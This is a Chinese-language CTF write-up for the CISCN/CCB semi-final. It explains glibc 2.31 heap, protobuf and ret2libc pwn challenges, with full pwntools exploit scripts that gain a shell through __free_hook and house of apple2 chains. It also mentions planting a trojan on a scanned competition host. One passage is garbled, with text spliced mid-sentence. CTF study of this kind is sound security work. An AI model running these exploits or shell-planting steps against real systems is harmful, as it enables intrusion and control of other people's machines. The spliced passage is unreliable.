ciscn&ccb半决赛 部分赛题详解
AWDPtypo
一道2.31的堆题
漏洞点位于edit功能，snprintf函数把用户输入作为format，导致了堆溢出以及格式化字符串漏洞
fix
从程序的代码不难看出分配出来的堆，前面八个字节是堆的size，后面的空间才是数据域
这里原意是修改heap的size，但是用错了函数，我们修改最大读入的size字节数为8，将snprintf函数nop掉修改为直接给heap->size赋值
这样即避免了堆溢出也不存在格式化字符串漏洞了
break
这里我用的是堆溢出的方法打的
def add(idx, size):
sla(">> ", str(1))
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
sla(">> ", str(2))
sla("Index: ", str(idx))
def edit(idx, pay, cont):
sla(">> ", str(3))
sla("Index: ", str(idx))
sla("size of content: ", pay)
sa("you want to say: ", cont)
def quit():
sla(">> ", str(4))程序没有show功能，可以利用_IO_FILE来进行leak
首先我们利用chunk overlapping达到类似UAF的功能。即利用溢出覆写chunk的size域来实现堆块重叠
for i in range(12):
add(i, 0x80)
payload = b"%136c"+ p64(0x511)
edit(0, payload, "a")
free(1)
for i in range(12, 12+9):
add(i, 0x80)效果如下图
接着我们打house of hotcake，构造出unsortedbin和tcachebin重叠
# chunk 20和chunk 9实际上是同一个chunk
for i in range(12, 12+7):
free(i)
free(20)
free(19)
add(1, 0x80)
free(9)
接下来通过分割unsortedbin使libc地址覆盖tcachebin的fd
add(12, 0x40)
add(13, 0x30)
通过溢出写heap 13的size，然后再溢出修改fd的低两字节，使其指向&_IO_2_1_stdout_ - 0x10的位置，因为低三位是固定的，所以这里爆破成功的概率是1/16
edit(12, b'A'*0x50+p64(0x420), "aaaa")
edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")然后修改_IO_2_1_stdout_结构体，泄露libc地址
add(14, 0x80)
add(15, 0x80)
edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
ru(p64(0))
libc.address = uu64() - 0x1ec980最后劫持__free_hook为system函数，getshell
edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
free(14)
edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
add(16, 0x80)
add(17, 0x80)
edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
free(11)
ia()exp
from pwn import *import structdef debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) sd = lambda data : p.send(data)sa= lambda text,data:p.sendafter(text, data)sl= lambda data :p.sendline(data)sla = lambda text,data:p.sendlineafter(text, data)rc = lambda num=4096 :p.recv(num)ru= lambda text :p.recvuntil(text)rl= lambda :p.recvline()pr = lambda num=4096 :print(p.recv(num))ia = lambda :p.interactive()l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))int16 = lambda data :int(data,16)lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))lgn = lambda s, n :p.success('%s -> 0x%x' % (s, n))context(arch = "amd64",os = "linux",log_level = "debug")#context.terminal = ['tmux','splitw','-h']context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./pwn"libc = "./libc-2.31.so"elf = ELF(file, False)libc = ELF(libc, False)def add(idx, size):
sla(">> ", str(1))
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
sla(">> ", str(2))
sla("Index: ", str(idx))
def edit(idx, pay, cont):
sla(">> ", str(3))
sla("Index: ", str(idx))
sla("size of content: ", pay)
sa("you want to say: ", cont)
def quit():
sla(">> ", str(4))def pwn(): global p p = process("./pwn") for i in range(12): add(i, 0x80) payload = b"%136c"+ p64(0x511) edit(0, payload, "a") stdout_offset = libc.sym["_IO_2_1_stdout_"] & 0xffff # 0xd6a0 free(1) for i in range(12, 12+9): add(i, 0x80) for i in range(12, 12+7): free(i) free(20) free(19) add(1, 0x80) free(9) add(12, 0x40) add(13, 0x30) edit(12, b'A'*0x50+p64(0x420), "aaaa")
edit(13, b'A'*8, b'A'*0x38+b"\x90\x26") add(14, 0x80)
add(15, 0x80)
edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
ru(p64(0))
libc.address = uu64() - 0x1ec980 edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91)) free(14) edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8)) add(16, 0x80) add(17, 0x80) edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4) lgn("libc_base", libc.address) #debug("b free\n b malloc") #pause() edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa") free(11) ia()pwn()prompt
proto文件还原
在我之前有篇文章有讲如何根据二进制C程序还原proto文件，这里再讲一次
首先IDA里面搜索常数0x28AAEEF9，这是Protobuf message描述符的magic number
可以知道该message的名称是HeapPayload，我们能在上面找到它的字段描述符
我们导入下面结构体到IDA structures，右键将unk_4B20转为结构体ProtobufCFieldDescriptor
一共是四个字段描述符
enum ProtobufCLabel
{
PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.
PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not
///< more than one).
PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a
///< well-formed message. The order of the repeated values will be
///< preserved.
PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is
///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};
enum ProtobufCType
{
PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32
PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32
PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)
PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64
PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64
PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)
PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32
PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)
PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64
PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)
PROTOBUF_C_TYPE_FLOAT = 0xA, ///< float
PROTOBUF_C_TYPE_DOUBLE = 0xB, ///< double
PROTOBUF_C_TYPE_BOOL = 0xC, ///< boolean
PROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated type
PROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII string
PROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequence
PROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
};
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;
/** Tag value of the field as given in the .proto file. */
uint32_t id;
/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;
/** The type of the field. */
ProtobufCType type;
/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;
/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;
const void *descriptor; /* for MESSAGE and ENUM types */
/** The default value for this field, if defined. May be NULL. */
const void *default_value;
uint32_t flags;
/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
根据还原出来的字段描述符，我们可以得到如下proto文件（因为存在NONE标签，所以是proto3协议）
syntax = "proto3";
message HeapPayload {
int32 option = 1;
repeated int32 chunksize = 2;
repeated int32 heap_chunks_id = 3;
bytes heap_content = 4;
}为了方便之后的逆向，我们输入protoc-c --c_out=. heap.proto来编译该proto文件，然后在heap.pb-c.h文件找到该message的C结构体（如下）并导入IDA
structHeapPayload
{
ProtobufCMessage base;
int32_t option;
size_t n_chunksize;
int32_t *chunksize;
size_t n_heap_chunks_id;
int32_t *heap_chunks_id;
ProtobufCBinaryData heap_content;
};
struct ProtobufCBinaryData { // 这个结构体在protobuf-c项目里面有定义
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};至此，逆向protobuf部分的工作就完成了。可以看到还原的代码可读性已经不错了
fix
漏洞点：
edit函数没有对size进行判断导致堆溢出（红框处改成v412) ^ libc.sym["_IO_list_all"]))但要注意的是add分配堆块时，会先调用memset将数据写零，因为我申请的大小是0x220，会导致把与&_IO_list_all相邻的_IO_2_1_stdout_也覆盖，所以还要伪造一个合法的_IO_2_1_stdout_结构，否则在调用printf的时候程序会崩溃
这里打的是house of apple2中_IO_wdefault_xsgetn那条利用链，具体可以看roderick师傅的文章
House of Apple 一种新的glibc中IO攻击方法 (2) - roderick - record and learn!
在_IO_switch_to_wget_mode处劫持rdx寄存器然后执行setcontext+61
执行mprotect使heap段可执行，然后运行ORW shellcode
exp
def add(size, cont = b'a'):
heap = heap_pb2.HeapPayload()
heap.option = 1
heap.chunksize.append(size)
heap.heap_content = cont
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)ISW
数据管理系统
队友扫描端口到http服务 http://172.19.110.30:8081/并且扫到了这个pwn题的远程端口是65533，下载目录下的二进制文件exrop，发现是一个简单的ret2libc题，但没有给libc文件
于是用本地glibc-all-in-one的libc文件逐一尝试，最后发现是能打通的是2.31-0ubuntu9.15版本的libc
getshell并写入木马
exp
add(0x120)
add(0x120)
delete(1)
edit(0, 0x130, b'A'*0x130)
show(0)
ru("A"*0x130)
heapbase = (uheap() << 12) - 0x7000
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